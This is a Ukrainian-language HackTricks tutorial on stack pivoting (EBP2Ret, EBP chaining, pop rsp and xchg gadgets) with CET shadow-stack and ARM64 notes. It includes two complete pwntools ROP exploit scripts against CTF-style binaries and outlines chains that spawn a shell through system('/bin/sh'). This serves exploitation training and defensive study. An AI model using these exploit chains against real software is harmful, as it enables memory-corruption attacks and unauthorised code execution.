20 KiB
		
	
	
	
	
	
	
	
			
		
		
	
	Stack Pivoting - EBP2Ret - EBP chaining
{{#include ../../banners/hacktricks-training.md}}
Основна інформація
Ця техніка використовує можливість маніпулювати Base Pointer (EBP/RBP) для з'єднання виконання кількох функцій через обережне використання вказівника кадру та інструкційної послідовності leave; ret.
Нагадаємо, що на x86/x86-64 leave еквівалентно:
mov       rsp, rbp   ; mov esp, ebp on x86
pop       rbp        ; pop ebp on x86
ret
І як збережений EBP/RBP знаходиться в стеку перед збереженим EIP/RIP, його можна контролювати, контролюючи стек.
Примітки
- На 64-бітних системах замініть EBP→RBP та ESP→RSP. Семантика залишається такою ж.
 - Деякі компілятори пропускають вказівник кадру (див. "EBP може не використовуватися"). У цьому випадку
 leaveможе не з'явитися, і ця техніка не спрацює.
EBP2Ret
Ця техніка особливо корисна, коли ви можете змінити збережений EBP/RBP, але не маєте прямого способу змінити EIP/RIP. Вона використовує поведінку епілогу функції.
Якщо під час виконання fvuln вам вдасться впровадити підроблений EBP у стек, який вказує на область пам'яті, де знаходиться адреса вашого shellcode/ROP ланцюга (плюс 8 байт на amd64 / 4 байти на x86 для врахування pop), ви можете непрямо контролювати RIP. Коли функція повертається, leave встановлює RSP на створене місце, а наступний pop rbp зменшує RSP, ефективно вказуючи на адресу, збережену атакуючим там. Тоді ret використовуватиме цю адресу.
Зверніть увагу, що вам потрібно знати 2 адреси: адресу, куди ESP/RSP буде йти, і значення, збережене за цією адресою, яке ret споживатиме.
Конструкція експлойту
Спочатку вам потрібно знати адресу, куди ви можете записувати довільні дані/адреси. RSP буде вказувати сюди і споживати перший ret.
Потім вам потрібно вибрати адресу, яку використовує ret, яка перенаправить виконання. Ви можете використовувати:
- Дійсну ONE_GADGET адресу.
 - Адресу 
system(), за якою слідує відповідний повернення та аргументи (на x86:retціль =&system, потім 4 байти сміття, потім&"/bin/sh"). - Адресу 
jmp esp;гаджета (ret2esp), за якою слідує вбудований shellcode. - Ланцюг ROP, розміщений у записуваній пам'яті.
 
Пам'ятайте, що перед будь-якими з цих адрес у контрольованій області повинно бути місце для pop ebp/rbp з leave (8B на amd64, 4B на x86). Ви можете зловживати цими байтами, щоб встановити другий підроблений EBP і зберегти контроль після повернення першого виклику.
Вразливість Off-By-One
Існує варіант, який використовується, коли ви можете змінити лише найменш значущий байт збереженого EBP/RBP. У такому випадку місце в пам'яті, що зберігає адресу для переходу з ret, повинно ділити перші три/п'ять байтів з оригінальним EBP/RBP, щоб 1-байтове перезаписування могло перенаправити його. Зазвичай низький байт (зсув 0x00) збільшується, щоб стрибнути якомога далі в межах сусідньої сторінки/вирівняної області.
Також поширено використовувати RET сани в стеці та розміщувати реальний ROP ланцюг в кінці, щоб підвищити ймовірність того, що новий RSP вказує всередину сани, і фінальний ROP ланцюг виконується.
Ланцюгування EBP
Розміщуючи контрольовану адресу в збереженому слоті EBP стека та гаджет leave; ret в EIP/RIP, можна перемістити ESP/RSP на адресу, контрольовану атакуючим.
Тепер RSP контролюється, і наступна інструкція - ret. Розмістіть у контрольованій пам'яті щось на зразок:
&(наступний підроблений EBP)-> Завантажуєтьсяpop ebp/rbpзleave.&system()-> Викликаєтьсяret.&(leave;ret)-> Після завершенняsystemпереміщує RSP до наступного підробленого EBP і продовжує.&("/bin/sh")-> Аргумент дляsystem.
Таким чином, можливо з'єднати кілька підроблених EBP для контролю потоку програми.
Це схоже на ret2lib, але складніше і корисне лише в крайніх випадках.
Більше того, тут у вас є приклад виклику, який використовує цю техніку з витоком стека, щоб викликати виграшну функцію. Це фінальний payload зі сторінки:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')
LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0,               # rbp (could be the address of another fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)
payload = payload.ljust(96, b'A')     # pad to 96 (reach saved RBP)
payload += flat(
buffer,         # Load leaked address in RBP
LEAVE_RET       # Use leave to move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
amd64 вирівнювання поради: System V ABI вимагає вирівнювання стеку на 16 байт у точках виклику. Якщо ваш ланцюг викликає функції, такі як
system, додайте гаджет вирівнювання (наприклад,ret, абоsub rsp, 8 ; ret) перед викликом, щоб підтримувати вирівнювання і уникнути аварійmovaps.
EBP може не використовуватися
Як пояснено в цьому пості, якщо бінарний файл скомпільовано з деякими оптимізаціями або з пропуском вказівника кадру, EBP/RBP ніколи не контролює ESP/RSP. Тому будь-який експлойт, що працює шляхом контролю EBP/RBP, зазнає невдачі, оскільки пролог/епілог не відновлює з вказівника кадру.
- Не оптимізовано / використовується вказівник кадру:
 
push   %ebp         # save ebp
mov    %esp,%ebp    # set new ebp
sub    $0x100,%esp  # increase stack size
.
.
.
leave               # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret                 # return
- Оптимізовано / вказівник кадру пропущено:
 
push   %ebx         # save callee-saved register
sub    $0x100,%esp  # increase stack size
.
.
.
add    $0x10c,%esp  # reduce stack size
pop    %ebx         # restore
ret                 # return
На amd64 ви часто побачите pop rbp ; ret замість leave ; ret, але якщо вказівник кадру зовсім відсутній, тоді немає епілогу на основі rbp, через який можна було б здійснити півотування.
Інші способи контролю RSP
Гаджет pop rsp
На цій сторінці ви можете знайти приклад використання цієї техніки. Для цього завдання потрібно було викликати функцію з 2 специфічними аргументами, і там був гаджет pop rsp і є leak з стеку:
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')
POP_CHAIN = 0x401225       # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229     # pop RSI and R15
# The payload starts
payload = flat(
0,                 # r13
0,                 # r14
0,                 # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,               # r15
elf.sym['winner']
)
payload = payload.ljust(104, b'A')     # pad to 104
# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer             # rsp
)
pause()
p.sendline(payload)
print(p.recvline())
xchg , rsp gadget
pop <reg>                <=== return pointer
<reg value>
xchg <reg>, rsp
jmp esp
Перевірте техніку ret2esp тут:
{{#ref}} ../rop-return-oriented-programing/ret2esp-ret2reg.md {{#endref}}
Швидке знаходження півотних гаджетів
Використовуйте свій улюблений пошуковик гаджетів для пошуку класичних півотних примітивів:
leave ; retу функціях або в бібліотекахpop rsp/xchg rax, rsp ; retadd rsp, <imm> ; ret(абоadd esp, <imm> ; retна x86)
Приклади:
# Ropper
ropper --file ./vuln --search "leave; ret"
ropper --file ./vuln --search "pop rsp"
ropper --file ./vuln --search "xchg rax, rsp ; ret"
# ROPgadget
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"
Класичний шаблон півотування
Надійна стратегія півотування, що використовується в багатьох CTF/експлойтах:
- Використовуйте невеликий початковий переповненіє, щоб викликати 
read/recvу великій записуваній області (наприклад,.bss, купа або відображена RW пам'ять) і розмістіть там повний ROP ланцюг. - Поверніться до півотного гаджета (
leave ; ret,pop rsp,xchg rax, rsp ; ret), щоб перемістити RSP до цієї області. - Продовжте з підготовленим ланцюгом (наприклад, витік libc, виклик 
mprotect, потімreadshellcode, потім перехід до нього). 
Сучасні заходи, які порушують півотування стеку (CET/Shadow Stack)
Сучасні процесори x86 та операційні системи все частіше впроваджують CET Shadow Stack (SHSTK). При ввімкненому SHSTK, ret порівнює адресу повернення на звичайному стеку з апаратно захищеним тіньовим стеком; будь-яка невідповідність викликає помилку контролю захисту і завершує процес. Тому техніки, такі як EBP2Ret/leave;ret-орієнтовані півоти, зламаються, як тільки виконується перший ret з півотованого стеку.
- Для фону та детальнішої інформації дивіться:
 
{{#ref}} ../common-binary-protections-and-bypasses/cet-and-shadow-stack.md {{#endref}}
- Швидкі перевірки на Linux:
 
# 1) Is the binary/toolchain CET-marked?
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'
# 2) Is the CPU/kernel capable?
grep -E 'user_shstk|ibt' /proc/cpuinfo
# 3) Is SHSTK active for this process?
grep -E 'x86_Thread_features' /proc/$$/status   # expect: shstk (and possibly wrss)
# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
(gdb) checksec
- 
Примітки для лабораторій/CTF:
 - 
Деякі сучасні дистрибутиви активують SHSTK для бінарників з увімкненим CET, коли є підтримка апаратного забезпечення та glibc. Для контрольованого тестування у ВМ SHSTK можна вимкнути на системному рівні за допомогою параметра завантаження ядра
nousershstk, або вибірково активувати через налаштування glibc під час запуску (див. посилання). Не вимикайте пом'якшення на продуктивних цілях. - 
Техніки на основі JOP/COOP або SROP можуть залишатися життєздатними на деяких цілях, але SHSTK спеціально порушує
ret-базовані піводи. - 
Примітка для Windows: Windows 10+ відкриває режим користувача, а Windows 11 додає режим ядра "Aпаратно забезпечений захист стеку", побудований на тіньових стеках. Процеси, сумісні з CET, запобігають піводам стеку/ROP на
ret; розробники можуть включити це через CETCOMPAT та пов'язані політики (див. посилання). 
ARM64
В ARM64 пролог і епілог функцій не зберігають і не відновлюють регістр SP у стеку. Більше того, інструкція RET не повертає за адресою, вказаною SP, а за адресою всередині x30.
Отже, за замовчуванням, просто зловживаючи епілогом, ви не зможете контролювати регістр SP, переписуючи деякі дані всередині стека. І навіть якщо вам вдасться контролювати SP, вам все ще знадобиться спосіб контролювати регістр x30.
- пролог
 
sub sp, sp, 16
stp x29, x30, [sp]      // [sp] = x29; [sp + 8] = x30
mov x29, sp             // FP вказує на запис кадру
- епілог
 
ldp x29, x30, [sp]      // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret
Caution
Спосіб виконати щось подібне до піводів стеку в ARM64 полягатиме в тому, щоб мати можливість контролювати
SP(контролюючи якийсь регістр, значення якого передається доSP, або через те, що з якоїсь причиниSPотримує свою адресу зі стека, і у нас є переповнення) і потім зловживати епілогом, щоб завантажити регістрx30з контрольованогоSPіRETдо нього.
Також на наступній сторінці ви можете побачити еквівалент Ret2esp в ARM64:
{{#ref}} ../rop-return-oriented-programing/ret2esp-ret2reg.md {{#endref}}
Посилання
- https://bananamafia.dev/post/binary-rop-stackpivot/
 - https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting
 - https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html
 - 64 біти, експлуатація off by one з ланцюгом rop, що починається з ret sled
 - https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html
 - 64 біти, без relro, canary, nx і pie. Програма надає leak для стеку або pie і WWW для qword. Спочатку отримайте leak стека і використовуйте WWW, щоб повернутися і отримати leak pie. Потім використовуйте WWW, щоб створити вічний цикл, зловживаючи записами 
.fini_array+ викликом__libc_csu_fini(більше інформації тут). Зловживаючи цим "вічним" записом, в .bss записується ланцюг ROP, і в кінці викликається, піводячи з RBP. - Документація ядра Linux: Технологія забезпечення контролю потоку (CET) Тіньовий стек — деталі про SHSTK, 
nousershstk, прапори/proc/$PID/statusта активацію черезarch_prctl. https://www.kernel.org/doc/html/next/x86/shstk.html - Microsoft Learn: Апаратно забезпечений захист стеку в режимі ядра (тіньові стеки CET у Windows). https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection
 
{{#include ../../banners/hacktricks-training.md}}